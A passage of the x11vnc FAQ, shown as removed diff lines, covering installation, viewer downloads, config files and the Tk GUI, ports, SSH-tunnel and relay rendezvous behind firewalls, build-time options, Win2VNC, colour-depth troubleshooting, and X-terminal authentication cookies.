- Binaries for various OS's and x11vnc releases.
-
- As a general note, the x11vnc program is simple enough you don't
- really need to install a package: the binary will in most cases work
- as is and from any location (as long as your system libraries are not
- too old, etc.) So, for Linux distributions that are not one of the
- above, the x11vnc binary from the above packages has a good chance of
- working. You can "install" it by just copying the x11vnc binary to the
- desired directory in your PATH. Tip on extracting files from a Debian
- package: extract the archive via a command like: "ar x
- x11vnc_0.6-2_i386.deb" and then you can find the binary in the
- resulting data.tar.gz tar file. Also, rpm2cpio(1) is useful in
- extracting files from rpm packages.
-
- If you use a standalone binary like this and also want x11vnc to serve
- up the Java VNC Viewer jar file (either SSL enabled or regular one),
- then you will need to extract the classes subdirectory from the source
- tarball and point x11vnc to it via the -httpdir option. E.g.:
- x11vnc -httpdir /path/to/x11vnc-0.9.9/classes/ssl ...
-
-
- Q-6: Where can I get a VNC Viewer binary (or source code) for the
- Operating System I will be viewing from?
-
- To obtain VNC viewers for the viewing side (Windows, Mac OS, or Unix)
- try here:
- * http://www.tightvnc.com/download.html
- * http://www.realvnc.com/download-free.html
- * http://sourceforge.net/projects/cotvnc/
- * http://www.ultravnc.com/
- * Our Enhanced TightVNC Viewer (SSVNC)
-
- [ssvnc.gif]
-
-
- Q-7: How can I see all of x11vnc's command line options and
- documentation on how to use them?
-
- Run: x11vnc -opts to list just the option names or run: x11vnc
- -help for long descriptions about each option. The output is listed
- here as well. Yes, x11vnc does have a lot of options, doesn't it...
-
-
- Q-8: I don't like typing arcane command line options every time I
- start x11vnc. What can I do? Is there a config file? Or a GUI?
-
- You could create a shell script that calls x11vnc with your options:
-#!/bin/sh
-#
-# filename: X11vnc (i.e. not "x11vnc")
-# It resides in a directory in $PATH. "chmod 755 X11vnc" has been run on it.
-#
-x11vnc -wait 50 -localhost -rfbauth $HOME/.vnc/passwd -display :0 $*
-
- a similar thing can be done via aliases in your shell (bash, tcsh,
- csh, etc..)
-
- Or as of Jun/2004 you can use the simple $HOME/.x11vncrc config file
- support. If that file exists, each line is taken as a command line
- option. E.g. the above would be:
-# this is a comment in my ~/.x11vncrc file
-wait 50 # this is a comment to the end of the line.
--localhost # note: the leading "-" is optional.
-rfbauth /home/fred/.vnc/passwd
-display :0
-
- As of Dec/2004 there is now a simple Tcl/Tk GUI based on the
- remote-control functionality ("-R") that was added. The /usr/bin/wish
- program is needed for operation. The gui is not particularly
- user-friendly, it just provides a point and click mode to set all the
- many x11vnc parameters and obtain help on them. It is also very useful
- for testing. See the -gui option for more info. Examples: "x11vnc ...
- -gui" and "x11vnc ... -gui other:0" in the latter case the gui is
- displayed on other:0, not the X display x11vnc is polling. There is
- also a "-gui tray" system tray mode.
-
- [tkx11vnc.gif]
-
- NOTE: You may need to install the "wish" or "tk" or "tk8.4" package
- for the gui mode to work (the package name depends on your OS/distro.)
- The tcl/tk "wish" interpreter is used. In debian (and so ubuntu too)
- one would run "apt-get install tk" or perhaps "apt-get install tk8.4"
-
-
- Q-9: How can I get the GUI to run in the System Tray, or at least be a
- smaller, simpler icon?
-
- As of Jul/2005 the gui can run in a more friendly small icon mode
- "-gui icon" or in the system tray: "-gui tray". It has balloon status,
- a simple menu, and a Properities dialog. The full, complicated, gui is
- only available under "Advanced". Other improvements were added as
- well. Try "Misc -> simple_gui" for a gui with fewer esoteric menu
- items.
-
- If the gui fails to embed itself in the system tray, do a retry via
- "Window View -> icon" followed by "Window View -> tray" with the popup
- menu.
-
- For inexperienced users starting up x11vnc and the GUI while sitting
- at the physical X display (not remotely), using something like "x11vnc
- -display :0 -gui tray=setpass" might be something for them that they
- are accustomed to in a Desktop environment (it prompts for an initial
- password, etc.) This is a basic "Share My Desktop" usage mode.
-
- As of Nov/2008 in x11vnc 0.9.6 there is a desktop menu item
- (x11vnc.desktop) that runs this command:
- x11vnc -gui tray=setpass -rfbport PROMPT -logfile %HOME/.x11vnc.log.%VNCDISP
-LAY
-
- which also prompts for which VNC port to use and a couple other
- parameters.
-
-
- Q-10: How can I get x11vnc to listen on a different port besides the
- default VNC port (5900)?
-
- Use something like, e.g., "x11vnc -rfbport 5901" to force it to use
- port 5901 (this is VNC display :1.) If something else is using that
- port x11vnc will exit immediately. If you do not supply the -rfbport
- option, it will autoprobe starting at 5900 and work its way up to 5999
- looking for a free port to listen on. In that case, watch for the
- PORT=59xx line to see which port it found, then subtract 5900 from it
- for the VNC display number to enter into the VNC Viewer(s).
-
- The "-N" option will try to match the VNC display number to the X
- display (e.g. X11 DISPLAY of :5 (port 6005) will have VNC display :5
- (port 5905).)
-
- Also see the "-autoport n" option to indicated at which value the auto
- probing should start at.
-
-
- Q-11: My Firewall/Router doesn't allow VNC Viewers to connect to
- x11vnc.
-
- See the Firewalls/Routers discussion.
-
-
- Q-12: Is it possible for a VNC Viewer and a VNC Server to connect to
- each other even though both are behind Firewalls that block all
- incoming connections?
-
- This is very difficult or impossible to do unless a third machine,
- reachable by both, is used as a relay. So we assume a third machine is
- somehow being used as a relay.
-
- (Update: It may be possible to do "NAT-2-NAT" without a relay machine
- by using a UDP tunnel such as http://samy.pl/pwnat/. All that is
- required is that both NAT firewalls allow in UDP packets from an IP
- address to which a UDP packet has recently been sent to. If you try it
- out let us know how it went.)
-
- In the following discussion, we will suppose port 5950 is being used
- on the relay machine as the VNC port for the rendezvous.
-
- A way to rendezvous is to have the VNC Server start a reverse
- connection to the relay machine:
- x11vnc -connect third-machine.net:5950 ...
-
- and the VNC viewer forward connects as usual:
- vncviewer third-machine.net:50
-
- Or maybe two ports would be involved, e.g. the viewer goes to display
- :51 (5951.) It depends on the relay software being used.
-
- What software to run on third-machine? A TCP relay of some sort could
- be used... Try a google search on "tcp relay" or "ip relay". However,
- note that this isn't a simple redirection because it hooks up two
- incoming connections. You can look at our UltraVNC repeater
- implementation ultravnc_repeater.pl for ideas and possibly to
- customize.
-
- Also, if you are not the admin of third-machine you'd have to convince
- the owner to allow you to install this software (and he would likely
- need to open his server's firewall to allow the port through.)
-
- It is recommended that SSL is used for encryption (e.g. "-ssl SAVE")
- when going over the internet.
-
- We have a prototype for performing a rendezvous via a Web Server
- acting as the relay machine. Download the vncxfer CGI script and see
- the instructions at the top.
-
- Once that CGI script is set up on the website, both users go to, say,
- http://somesite.com/vncxfer (or maybe a "/cgi-bin" directory or ".cgi"
- suffix must be used.) Previously, both have agreed on the same session
- name (say by phone or email) , e.g. "5cows", and put that into the
- entry form on the vncxfer starting page (hopefully separated by a few
- seconds, so the relay helper can fully start up at the first request.)
-
- The page returned tells them the hostname and port number and possible
- command to use for forward (VNC Viewer) and reverse (VNC Server, i.e.
- x11vnc) connections as described above.
-
- Also since Oct/2007, x11vnc can connect directly (no web browser),
- like this:
- x11vnc ... -connect localhost:0 -proxy 'http://somesite.com/vncxfer?session=
-5cows&'
-
- Unfortunately the prototype requires that the Web server's firewall
- allow in the port (e.g. 5950) used for the rendezvous. Most web
- servers are not configured to do this, so you would need to ask the
- admin to do this for you. Nearly all free webspace sites, e.g.
- www.zendurl.com, will not allow your CGI script to be an open relay
- like this. (If you find one that does allow this, let me know!)
-
- Maybe someday a clever trick will be thought up to relax the listening
- port requirement (e.g. use HTTP/CGI itself for the transfer... it is
- difficult to emulate a full-duplex TCP connection with them.)
-
- See also the Firewalls/Routers discussion and Reverse Connection Proxy
- discussion.
-
-
- SSH method: If both users (i.e. one on Viewer-side and the other on
- x11vnc server side) have SSH access to a common machine on the
- internet (or otherwise mutually reachable), then SSH plumbing can be
- used to solve this problem. The users create SSH tunnels going through
- the SSH login machine.
-
- Instead of assuming port 5900 is free on the SSH machine, we will
- assume both users agreed to use 5933. This will illustrate how to use
- a different port for the redir. It could be any port, what matters is
- that both parties refer to the same one.
-
- Set up the Tunnel from the VNC Server side:
- ssh -t -R 5933:localhost:5900 user@third-machine.net
-
- Set up the Tunnel from the VNC Viewer side:
- ssh -t -L 5900:localhost:5933 user@third-machine.net
-
- Run Server on the VNC Server side:
- x11vnc -rfbport 5900 -localhost ...
-
- Run Viewer on the VNC Viewer side:
- vncviewer -encodings "copyrect tight zrle hextile" localhost:0
-
- (we assume the old-style -encodings option needs to be used. See here
- for details.)
-
- If the SSH machine has been configured (see sshd_config(5)) with the
- option GatewayPorts=yes, then the tunnel set up by the VNC Server will
- be reachable directly by the VNC viewer (as long as the SSH machine's
- firewall does not block the port, 5933 in this example.) So in that
- case the Viewer side does not need to run any ssh command, but rather
- only runs:
- vncviewer third-machine.net:33
-
- In this case we recommend SSL be used for encryption.
-
- The creation of both tunnels can be automated. As of Oct/2007 the -ssh
- x11vnc option is available and so only this command needs to be run on
- the VNC Server side:
- x11vnc -ssh user@third-machine.net:33 ...
-
- (the SSH passphrase may need to be supplied.)
-
- To automate on the VNC Viewer side, the user can use the Enhanced
- TightVNC Viewer (SSVNC) by:
- * Clicking on 'Use SSH'
- * Entering user@third-machine.net:33 into 'VNC Host:Display' entry
- box
- * Clicking on 'Connect'
-
- As above, if the SSH GatewayPorts=yes setting is configured the Viewer
- side doesn't need to create a SSH tunnel. In SSVNC the Viewer user
- could instead select 'Use SSL' and then, e.g., on the Server side
- supply "-ssl SAVE" to x11vnc. Then end-to-end SSL encryption would be
- used (in addition to the SSH encryption on the Server-side leg.)
-
-
- Q-13: Can I make x11vnc more quiet and also go into the background
- after starting up?
-
- Use the -q and -bg options, respectively. (also: -quiet is an alias
- for -q)
-
- Note that under -bg the stderr messages will be lost unless you use
- the "-o logfile" option.
-
-
- Q-14: Sometimes when a VNC viewer dies abruptly, x11vnc also dies with
- the error message like: "Broken pipe". I'm using the -forever mode and
- I want x11vnc to keep running.
-
- As of Jan/2004 the SIGPIPE signal is ignored. So if a viewer client
- terminates abruptly, libvncserver will notice on the next I/O
- operation and will close the connection and continue on.
-
- Up until of Apr/2004 the above fix only works for BSD signal systems
- (Linux, FreeBSD, ...) For SYSV systems there is a workaround in place
- since about Jun/2004.
-
-
- Q-15: The Windows TightVNC 1.3.9 Viewer cannot connect to x11vnc.
-
- This appears to be fixed in x11vnc version 0.9 and later. If you need
- to use an earlier version of x11vnc, try using the "-rfbversion 3.7"
- option. In general sometimes one can get a misbehaving viewer to work
- by supplying rfb versions 3.7 or 3.3.
-
-
- Q-16: KDE's krdc VNC viewer cannot connect to x11vnc.
-
- This has been fixed in x11vnc version 0.8.4. More info here, here, and
- here.
-
-
- Q-17: When I start x11vnc on an Alpha Tru64 workstation the X server
- crashes!
-
- This is a bug in the X server obviously; an X client should never be
- able to crash it.
-
- The problem seems to be with the RECORD X extension and so a
- workaround is to use the "-noxrecord" x11vnc command line option.
-
-
- Q-18: When running x11vnc on an IBM AIX workstation after a few
- minutes the VNC connection freezes.
-
- One user reports when running x11vnc on AIX 5.3 in his CDE session
- after a few minutes or seconds x11vnc will "freeze" (no more updates
- being sent, etc.) The freezing appeared to be worse for versions later
- than 0.9.2.
-
- The problem seems to be with the RECORD X extension on AIX and so a
- workaround is to use the "-noxrecord" x11vnc command line option. The
- user found no freezes occurred when using that option.
-
-
- Q-19: Are there any build-time customizations possible, e.g. change
- defaults, create a smaller binary, etc?
-
- There are some options. They are enabled by adding something like
- -Dxxxx=1 to the CPPFLAGS environment variable before running configure
- (see the build notes for general background.)
-/*
- * Mar/2006
- * Build-time customization via CPPFLAGS.
- *
- * Summary of options to include in CPPFLAGS for custom builds:
- *
- * -DVNCSHARED to have the vnc display shared by default.
- * -DFOREVER to have -forever on by default.
- * -DNOREPEAT=0 to have -repeat on by default.
- * -DADDKEYSYMS=0 to have -noadd_keysyms the default.
- *
- * -DREMOTE_DEFAULT=0 to disable remote-control on by default (-yesremote.)
- * -DREMOTE_CONTROL=0 to disable remote-control mechanism completely.
- * -DEXTERNAL_COMMANDS=0 to disable the running of all external commands.
- * -DFILEXFER=0 disable filexfer.
- *
- * -DHARDWIRE_PASSWD=... hardwired passwords, quoting necessary.
- * -DHARDWIRE_VIEWPASSWD=...
- * -DNOPW=1 make -nopw the default (skip warning)
- * -DUSEPW=1 make -usepw the default
- * -DPASSWD_REQUIRED=1 exit unless a password is supplied.
- * -DPASSWD_UNLESS_NOPW=1 exit unless a password is supplied and no -nopw.
- *
- * -DWIREFRAME=0 to have -nowireframe as the default.
- * -DWIREFRAME_COPYRECT=0 to have -nowirecopyrect as the default.
- * -DWIREFRAME_PARMS=... set default -wirecopyrect parameters.
- * -DSCROLL_COPYRECT=0 to have -noscrollcopyrect as the default.
- * -DSCROLL_COPYRECT_PARMS=... set default -scrollcopyrect parameters.
- * -DSCALING_COPYRECT=0
- * -DXDAMAGE=0 to have -noxdamage as the default.
- * -DSKIPDUPS=0 to have -noskip_dups as the default or vice versa.
- *
- * -DPOINTER_MODE_DEFAULT={0,1,2,3,4} set default -pointer_mode.
- * -DBOLDLY_CLOSE_DISPLAY=0 to not close X DISPLAY under -rawfb.
- * -DSMALL_FOOTPRINT=1 for smaller binary size (no help, no gui, etc)
- * use 2 or 3 for even smaller footprint.
- * -DNOGUI do not include the gui tkx11vnc.
- * -DPOLL_8TO24_DELAY=N
- * -DDEBUG_XEVENTS=1 enable printout for X events.
- *
- * Set these in CPPFLAGS before running configure. E.g.:
- *
- * % env CPPFLAGS="-DFOREVER -DREMOTE_CONTROL=0" ./configure
- * % make
- */
-
- If other things (e.g. "-I ...") are needed in CPPFLAGS add them as
- well.
-
- On some systems is seems you need to set LC_ALL=C for configure to
- work properly...
-
- Be careful the following two variables: HARDWIRE_PASSWD and
- HARDWIRE_VIEWPASSWD. If set (remember to include the double quotes
- around the string), they will be used as default values for the
- -passwd and -viewpasswd options. Of course the strings will exist
- unobscured in the x11vnc binary: it better not be readable by
- unintendeds. Perhaps this is of use in remote access for an embedded
- application, etc...
-
- Let us know if more build-time customizations would be useful.
-
-
- [Win2VNC Related]
-
- Q-20: I have two separate machine displays in front of me, one Windows
- the other X11: can I use x11vnc in combination with Win2VNC in
- dual-screen mode to pass the keystrokes and mouse motions to the X11
- display?
-
- Yes, for best response start up x11vnc with the "-nofb" option
- (disables framebuffer polling, and does other optimizations) on the
- secondary display (X11) machine. Then start up Win2VNC on the primary
- display (Windows) referring it to the secondary display.
-
- This will also work X11 to X11 using x2vnc, however you would probably
- just want to avoid VNC and use x2x for that.
-
- For reference, here are some links to Win2VNC-like programs for
- multiple monitor setups:
- * Original Win2VNC
- * Enhanced Win2VNC (broken?) and sourceforge link
- * x2vnc
- * x2x
- * zvnc (MorphOS)
-
- All of them will work with x11vnc (except x2x where it is not needed.)
-
-
- Q-21: I am running Win2VNC on my Windows machine and "x11vnc -nofb" on
- Unix to pass keyboard and mouse to the Unix monitor. Whenever I start
- Win2VNC it quickly disconnects and x11vnc says:
- rfbProcessClientNormalMessage: read: Connection reset by peer
-
- Is the default visual of the X display you run x11vnc on low color
- (e.g. 8 bit per pixel PseudoColor)? (you can run xdpyinfo to check,
- look in the "screen" section.) There seems to be a bug in Win2VNC in
- that it cannot deal correctly with colormaps (PseudoColor is the most
- common example of a visual with a colormap.)
-
- If so, there are a couple options. 1) Can you set the default visual
- on your display to be depth 24 TrueColor? Sun machines often have 8+24
- overlay/multi-depth visuals, and you can make the default visual depth
- 24 TrueColor (see fbconfig(1) and Xsun(1).) 2) As of Feb/2004 x11vnc
- has the -visual option to allow you to force the framebuffer visual to
- whatever you want (this usually messes up the colors unless you are
- very clever.) In this case, the option provides a convenient
- workaround for the Win2VNC bug:
- x11vnc -nofb -visual TrueColor -display :0 ...
-
- So the visual will be set to 8bpp TrueColor and Win2VNC can handle
- this. Since Win2VNC does not use the framebuffer data there should be
- no problems in doing this.
-
- Q-22: Can I run "x11vnc -nofb" on a Mac OS X machine to redirect mouse
- and keyboard input to it from Windows and X11 machines via Win2VNC and
- x2vnc, respectively?
-
- Yes, as of Nov/2006 you can. There may be a trick or two you'll need
- to do to get the Clipboard exchange between the machines to work.
-
-
-
- [Color Issues]
-
- Q-23: The X display I run x11vnc on is only 8 bits per pixel (bpp)
- PseudoColor (i.e. only 256 distinct colors.) The x11vnc colors may
- start out OK, but after a while they are incorrect in certain windows.
-
- Use the -flashcmap option to have x11vnc watch for changes in the
- colormap, and propagate those changes back to connected clients. This
- can be slow (since the whole screen must be updated over the network
- whenever the colormap changes.) This flashing colormap behavior often
- happens if an application installs its own private colormap when the
- mouse is in its window. "netscape -install" is a well-known historical
- example of this. Consider reconfiguring the system to 16 bpp or depth
- 24 TrueColor if at all possible.
-
- Also note the option -8to24 (Jan/2006) can often remove the need for
- flashing the colormap. Everything is dynamically transformed to depth
- 24 at 32 bpp using the colormaps. There may be painting errors however
- (see the following FAQ for tips on reducing and correcting them.)
-
- In some rare cases (SCO unixware) the -notruecolor option has
- corrected colors on 8bpp displays. The red, green, and blue masks were
- non-zero in 8bpp PseudoColor on an obscure setup, and this option
- corrected the problems.
-
-
- Q-24: Color problems: Why are the colors for some windows incorrect in
- x11vnc? BTW, my X display has nice overlay/multi-depth visuals of
- different color depths: e.g. there are both depth 8 and 24 visuals
- available at the same time.
-
- You may want to review the previous question regarding 8 bpp
- PseudoColor.
-
- On some hardware (Sun/SPARC and SGI), the -overlay option discussed a
- couple paragraphs down may solve this for you (you may want to skip to
- it directly.) On other hardware the less robust -8to24 option may help
- (also discussed below.)
-
- Run xdpyinfo(1) to see what the default visual is and what the depths
- of the other visuals are. Does the default visual have a depth of 8
- but there are other visuals of depth 24? If it does, can you possibly
- re-configure your X server to make a depth 24 visual the default? If
- you can do it, this will save you a lot of grief WRT colors and x11vnc
- (and for general usage too!) Here is how I do this on an old
- Sparcstation 20 running Solaris 9 with SX graphics
- xinit -- -dev /dev/fb defclass TrueColor defdepth 24
-
- and it works nicely (note: to log into console from the dtlogin
- window, select "Options -> Command Line Login", then login and enter
- the above command.) See the -dev section of the Xsun(1) manpage for a
- description of the above arguments. If you have root permission, a
- more permanent and convenient thing to do is to record the arguments
- in a line like:
- :0 Local local_uid@console root /usr/openwin/bin/Xsun -dev /dev/fb defclass
-TrueColor defdepth 24
-
- in /etc/dt/config/Xservers (copy /usr/dt/config/Xservers.) Also look
- at the fbconfig(1) and related manpages (e.g. ffbconfig, m64config,
- pgxconfig, SUNWjfb_config, etc ...) for hardware framebuffer settings
- that may achieve the same effect.
-
- In general for non-Sun machines, look at the "-cc class" and related
- options in your X server manpage (perhaps Xserver(1)), it may allow
- modifying the default visual (e.g. "-cc 4", see <X11/X.h> for the
- visual class numbers.) On XFree86 some video card drivers (e.g. Matrox
- mga) have settings like Option "Overlay" "24,8" to support multi-depth
- overlays. For these, use the "-cc 4" X server command line option to
- get a depth 24 default visual.
-
-
- The -overlay mode: Another option is if the system with overlay
- visuals is a Sun system running Solaris or SGI running IRIX you can
- use the -overlay x11vnc option (Aug/2004) to have x11vnc use the
- Solaris XReadScreen(3X11) function to poll the "true view" of the
- whole screen at depth 24 TrueColor. XReadDisplay(3X11) is used on
- IRIX. This is useful for Legacy applications (older versions of
- Cadence CAD apps are mentioned by x11vnc users) that require the
- default depth be 8bpp, or the app will use a 8bpp visual even if depth
- 24 visuals are available, and so the default depth workaround
- described in the previous paragraph is not sufficient for these apps.
-
- It seems that Xorg is working toward supporting XReadDisplay(3X11) as
- part of the RENDER extension work. When it does support it and
- provides a library API x11vnc will be modified to take advantage of
- the feature to support -overlay on Linux, *BSD, etc. Until then see
- the -8to24 mode below.
-
- Misc. notes on -overlay mode: An amusing by-product of -overlay mode
- is that the mouse cursor shape is correct! (i.e. XFIXES is not
- needed.) The -overlay mode may be somewhat slower than normal mode due
- to the extra framebuffer manipulations that must be performed. Also,
- on Solaris there is a bug in that for some popup menus, the windows
- they overlap will have painting errors (flashing colors) while the
- popup is up (a workaround is to disable SaveUnders by passing -su to
- Xsun, e.g. in your /etc/dt/config/Xservers file.)
-
-
- The -8to24 mode: The -8to24 x11vnc option (Jan/2006) is a kludge to
- try to dynamically rewrite the pixel values so that the 8bpp part of
- the screen is mapped onto depth 24 TrueColor. This is less robust than
- the -overlay mode because it is done by x11vnc outside of the X
- server. So only use it on OS's that do not support -overlay. The
- -8to24 mode will work if the default visual is depth 24 or depth 8. It
- scans for any windows within 3 levels of the root window that are 8bpp
- (i.e. legacy application), or in general ones that are not using the
- default visual. For the windows it finds it uses XGetSubImage() to
- retrieve the pixels values and uses the correct indexed colormap to
- create a depth 24 TrueColor view of the whole screen. This depth 24,
- 32bpp view is exported via VNC.
-
- Even on pure 8bpp displays it can be used as an alternative to
- -flashcmap to avoid color flashing completely.
-
- This scheme is approximate and can often lead to painting errors. You
- can manually correct most painting errors by pressing 3 Alt_L's in a
- row, or by using something like: -fixscreen V=3.0 to automatically
- refresh the screen every 3 seconds. Also -fixscreen 8=3.0 has been
- added to just refresh the non-default visual parts of the screen.
-
- In general the scheme uses many resources and may give rise to
- sluggish behavior. If multiple windows are using different 8bpp
- indexed colormaps all but one window may need to be iconified for the
- colors to be correct. There are a number of tunable parameters to try
- to adjust performance and painting accuracy. The option -8to24
- nogetimage can give a nice speedup if the default depth 24 X server
- supports hiding the 8bpp bits in bits 25-32 of the framebuffer data.
- On very slow machines -8to24 poll=0.2,cachewin=5.0 gives an useful
- speedup. See the -8to24 help description for information on tunable
- parameters, etc.
-
-
- Colors still not working correctly? Run xwininfo on the application
- with the incorrect colors to verify that the depth of its visual is
- different from the default visual depth (gotten from xdpyinfo.) One
- possible workaround in this case is to use the -id option to point
- x11vnc at the application window itself. If the application is
- complicated (lots of toplevel windows and popup menus) this may not be
- acceptable, and may even crash x11vnc (but not the application.) See
- also -appshare.
-
- It is theoretically possible to solve this problem in general (see
- xwd(1) for example), but it does not seem trivial or sufficiently fast
- for x11vnc to be able to do so in real time. The -8to24 method does
- this approximately and is somewhat usable. Fortunately the -overlay
- option works for Solaris machines with overlay visuals where most of
- this problem occurs.
-
-
- Q-25: I am on a high color system (depth >= 24) but I seem to have
- colormap problems. They either flash or everything is very dark.
-
- This can happen if the default Visual (use xdpyinfo to list them) is
- DirectColor instead of TrueColor. These are both usually used in high
- color modes, but whereas TrueColor uses static ramps for the Red,
- Green, and Blue components, DirectColor has arbitrary colormaps for
- the Red, Green, and Blue Components. Currently x11vnc cannot decode
- these colormaps and treats them just like TrueColor.
-
- The only workaround so far is to restart the X server with the "-cc 4"
- option to force TrueColor as the default visual (DirectColor is "-cc
- 5"; see /usr/include/X11/X.h.) The only place we have seen this is
- with the virtual framebuffer server Xvfb on Xorg 7.2. So in that case
- you probably should restart it with something like this: "Xvfb :1 -cc
- 4 -screen 0 1280x1024x24". It should be possible for x11vnc to handle
- DirectColor, but this hasn't been implemented due to its rare usage.
-
- You may also see this problem on an X display with a TrueColor default
- visual where an application chooses a DirectColor visual for its
- window(s). It seems the application also needs to install its own
- colormap for the visual for the colors to be messed up in x11vnc. One
- can make xwud do this for example.
-
-
- Q-26: How do I figure out the window id to supply to the -id windowid
- option?
-
- Run the xwininfo program in a terminal. It will ask you to click on
- the desired application window. After clicking, it will print out much
- information, including the window id (e.g. 0x6000010.) Also, the
- visual and depth of the window printed out is often useful in
- debugging x11vnc color problems.
-
- Also, as of Dec/2004 you can use "-id pick" to have x11vnc run
- xwininfo(1) for you and after you click the window it extracts the
- windowid. Besides "pick" there is also "id:root" to allow you to go
- back to root window when doing remote-control.
-
-
- Q-27: Why don't menus or other transient windows come up when I am
- using the -id windowid option to view a single application window?
-
- This is related to the behavior of the XGetImage(3X11) and
- XShmGetImage() interfaces regarding backingstore, saveunders, etc. The
- way the image is retrieved depends on some aspects of how the X server
- maintains the display image data and whether other windows are
- clipping or obscuring it. See the XGetImage(3X11) man page for more
- details. If you disable BackingStore and SaveUnders in the X server
- you should be able to see these transient windows.
-
- If things are not working and you still want to do the single window
- polling, try the -sid windowid option ("shifted" windowid.)
-
- Update: as of Nov/2009 in the 0.9.9 x11vnc development tarball, there
- is an experimental Application Sharing mode that improves upon the
- -id/-sid single window sharing: -appshare (run "x11vnc -appshare
- -help" for more info.) It is still very primitive and approximate, but
- at least it displays multiple top-level windows.
-
-
- Q-28: My X display is depth 24 at 24bpp (instead of the normal depth
- 24 at 32bpp.) I'm having lots of color and visual problems with x11vnc
- and/or vncviewer. What's up?
-
- First off, depth 24 at 24bpp (bpp=bits-per-pixel) is fairly uncommon
- and can cause problems in general. It also can be slower than depth 24
- at 32bpp. You might want to switch to 32bpp (for XFree86 see the
- "-fbbpp 32", DefaultFbBpp, FbBpp and related options.) Perhaps you
- have 24bpp because the video memory of the machine is low and the
- screen wouldn't fit in video RAM at 32bpp. For this case depth 16 at
- 16bpp might be an acceptable option.
-
- In any event x11vnc should handle depth 24 at 24bpp (although
- performance may be slower, and you may need to use the ZRLE encoding
- instead of Tight.) There are some caveats involving the viewer
- however:
-
- The RealVNC Unix viewer cannot handle 24bpp from the server, it will
- say: "main: setPF: not 8, 16 or 32 bpp?" and exit. I have not checked
- the RealVNC Windows viewer.
-
- So you need to use the TightVNC Unix viewer. However there are some
- problems with that too. It seems libvncserver does not do 24bpp
- correctly with the Tight encoding. The colors and screen ultimately
- get messed up. So you have to use a different encoding with the
- TightVNC vncviewer, try "zlib", "hextile", or one of the other
- encodings (e.g. vncviewer -encodings "zlib hextile" ....) I have not
- checked the TightVNC or UltraVNC Windows viewers.
-
- It appears the older RealVNC Unix viewers (e.g. 3.3.3 and 3.3.7) can
- handle 24bpp from the server, so you may want to use those. They
- evidently request 32 bpp and libvncserver obliges.
-
- Update: as of Apr/2006 you can use the -24to32 option to have x11vnc
- dynamically transform the 24bpp pixel data to 32bpp. This extra
- transformation could slow things down further however.
-
- Now coming the opposite direction if you are running the vncviewer on
- the 24bpp display, TightVNC will fail with "Can't cope with 24
- bits-per-pixel. Sorry." and RealVNC will fail with "main: Error:
- couldn't find suitable pixmap format" so evidently you cannot use
- 24bpp for the vncviewers to work on that X display.
-
- Note, however, that the Unix viewer in the Enhanced TightVNC Viewer
- (SSVNC) project can handle 24bpp X displays. It does this by
- requesting a 16bpp pixel format (or 8bpp if the -bgr233 option has
- been supplied) from the VNC server, and translates that to 24bpp
- locally.
- [Xterminals]
-
- Q-29: Can I use x11vnc to view and interact with an Xterminal (e.g.
- NCD) that is not running UNIX and so x11vnc cannot be run on it
- directly?
-
- You can, but it will likely be very wasteful of network bandwidth
- since you will be polling the X display over the network as opposed to
- over the local hardware. To do this, run x11vnc on a UNIX machine as
- close as possible network-wise (e.g. same switch) to the Xterminal
- machine. Use the -display option to point the display to that of the
- Xterminal (you'll of course need basic X11 permission to do that) and
- finally supply the -noshm option (this enables the polling over the
- network.)
-
- If the Xterminal's X display is open to the network for connections,
- you might use something like "-display xterm123:0". If you are trying
- to do this via an SSH tunnel (assuming you can actually ssh into the
- Xterminal) it will be a little tricky (either use the ssh "-R" option
- or consider ssh-ing in the other direction.) In all cases the X11
- permissions need to allow the connection.
-
- The response will likely be sluggish (maybe only one "frame" per
- second.) This mode is not recommended except for "quick checks" of
- hard to get to X servers. Use something like "-wait 150" to cut down
- on the polling rate. You may also need -flipbyteorder if the colors
- get messed up due to endian byte order differences.
-
- Q-30: How do I get my X permissions (MIT-MAGIC-COOKIE file) correct
- for a Unix/Linux machine acting as an Xterminal?
-
- If the X display machine is a traditional Xterminal (where the X
- server process runs on the Xterminal box, but all of the X client
- applications (firefox, etc) run on a central server (aka "terminal
- server")), you will need to log into the Xterminal machine (i.e. get a
- shell running there) and then start the x11vnc program. If the
- Xterminal Linux/Unix machine is stripped down (e.g. no users besides
- root) that may be difficult.
-
- The next problem is the login Display Manager (e.g. gdm, kdm), and
- hence the MIT-MAGIC-COOKIE auth files, are on the central server and
- not on the Xterminal box where the X server and x11vnc processes are.
-
- So unless X permissions are completely turned off (e.g. "xhost +"), to
- run the x11vnc process on the Xterminal box the MIT-MAGIC-COOKIE auth
- file data (XAUTHORITY or $HOME/.Xauthority) must be accessible by or
- copied to the Xterminal. If $HOME/.Xauthority is exported via NFS
- (this is insecure of course, but has been going on for decades), then
- x11vnc can simply pick it up via NFS (you may need to use the -auth
- option to point to the correct file.) Other options include copying
- the auth file using scp, or something like:
- central-server> xauth nextract - xterm123:0 | ssh xterm123 xauth nmerge -
-
- and then, say, ssh from central-server to xterm123 to start x11vnc.
- Here "xterm123" refers to the computer acting as the Xterminal and
- "central-server" is the terminal server. You can use "xauth -f
- /path/to/cookie-file list" to examine the contents of the cookie(s) in
- a file "/path/to/cookie-file". See the xauth(1) manpage for more
- details.
-
- If the display name in the cookie file needs to be changed between the
- two hosts, see this note on the "xauth add ..." command.
-
- A less secure option is to run something like "xhost +127.0.0.1" while
- sitting at the Xterminal box to allow cookie-free local access for
- x11vnc. You can run "xhost -127.0.0.1" after x11vnc connects if you
- want to go back to the original permissions.
-
- If the Xterminal is really stripped down and doesn't have any user
- accounts, NFS, etc. you'll need to contact your system administrator
- to set something up. It can be done!!! Some Xterminal projects have
- actually enabled "run locally" facilities for the running of an
- occasional app more efficiently locally on the Xterminal box (e.g.
- realplayer.)
-
- Not recommended, but as a last resort, you could have x11vnc poll the
- Xterminal Display over the network. For this you would run a "x11vnc
- -noshm ..." process on the central-server (and hope the network admin
- doesn't get angry...)
-
- Note: use of Display Manager (gdm, kdm, ...) auth cookie files (i.e.
- from /var/..., /tmp/..., or elsewhere) may require modification via
- xauth(1) to correctly include the display x11vnc refers to (e.g.
- "xauth -f cookie-file add :0 . 45be51ae2ce9dfbacd882ab3ef8e96b1",
- where the "45be51..." cookie value was found from an "xauth -f
- /path/to/original/cookie-file list") or other reasons. See xauth(1)
- manpage for full details on how to transfer an MIT-MAGIC-COOKIE
- between machines and displays.
-
- VNCviewer performance on Xterminals: This isn't related to x11vnc on
- Xterminals, but we mention it here anyway because of the similar
- issues. If you are on an Xterminal and want to use vncviewer to
- connect to a VNC server somewhere, then performance would be best if
- you ran the viewer on the Xterminal box. Otherwise, (i.e. running the
